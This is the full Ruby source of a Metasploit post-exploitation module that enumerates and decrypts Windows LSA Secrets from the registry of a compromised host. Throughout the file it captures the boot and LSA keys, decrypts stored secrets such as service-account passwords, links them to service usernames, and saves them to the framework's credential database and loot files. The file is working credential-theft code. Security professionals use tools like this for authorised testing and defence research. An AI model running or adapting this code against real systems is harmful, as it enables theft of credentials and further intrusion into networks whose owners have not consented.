modules/post/windows/gather/lsa_secrets.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Enumerate LSA Secrets',
'Description' => %q{
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
code from cachedump.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Rob Bathurst <rob.bathurst[at]foundstone.com>']
)
)
register_options(
[
OptBool.new('STORE', [true, 'Store decrypted credentials in database', true]),
]
)
end
# Decrypted LSA key is passed into this method
def get_secret(lsa_key)
output = "\n"
# LSA Secret key location within the registry
root_regkey = 'HKLM\\Security\\Policy\\Secrets\\'
services_key = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\'
secrets = registry_enumkeys(root_regkey)
secrets.each do |secret_regkey|
sk_arr = registry_enumkeys(root_regkey + '\\' + secret_regkey)
next unless sk_arr
sk_arr.each do |mkeys|
# CurrVal stores the currently set value of the key. In the case
# of services, this is usually the password for the service
# account.
next unless mkeys == 'CurrVal'
val_key = root_regkey + '\\' + secret_regkey + '\\' + mkeys
encrypted_secret = registry_getvaldata(val_key, '')
next unless encrypted_secret
if lsa_vista_style?
# Magic happens here
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
else
# and here
if sysinfo['Architecture'] == ARCH_X64
encrypted_secret = encrypted_secret[0x10..]
else # 32 bits
encrypted_secret = encrypted_secret[0xC..]
end
decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
end
next if decrypted.empty?
# axe all the non-printables
decrypted = decrypted.scan(/[[:print:]]/).join
if secret_regkey.start_with?('_SC_')
# Service secrets are named like "_SC_yourmom" for a service
# with name "yourmom". Strip off the "_SC_" to get something
# we can lookup in the list of services to find out what
# account this secret is associated with.
svc_name = secret_regkey[4, secret_regkey.length]
svc_user = registry_getvaldata(services_key + svc_name, 'ObjectName')
# if the unencrypted value is not blank and is a service, print
print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
if datastore['STORE']
create_credential({
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: decrypted,
username: svc_user,
service_name: "LSA Secret: #{secret_regkey}",
status: Metasploit::Model::Login::Status::UNTRIED
})
end
else
# if the unencrypted value is not blank, print
print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
if datastore['STORE']
create_credential({
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :password,
private_data: decrypted,
service_name: "LSA Secret: #{secret_regkey}",
status: Metasploit::Model::Login::Status::UNTRIED
})
end
end
end
end
return output
end
# The sauce starts here
def run
hostname = sysinfo['Computer']
print_status("Executing module against #{hostname}")
print_status('Obtaining boot key...')
bootkey = capture_boot_key
vprint_status("Boot key: #{bootkey.unpack1('H*')}")
print_status('Obtaining Lsa key...')
lsa_key = capture_lsa_key(bootkey)
if lsa_key.nil?
print_error('Could not retrieve LSA key. Are you SYSTEM?')
return
end
vprint_status("Lsa Key: #{lsa_key.unpack1('H*')}")
secrets = hostname + get_secret(lsa_key)
print_status('Writing to loot...')
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File'
)
print_status("Data saved in: #{path}")
end
end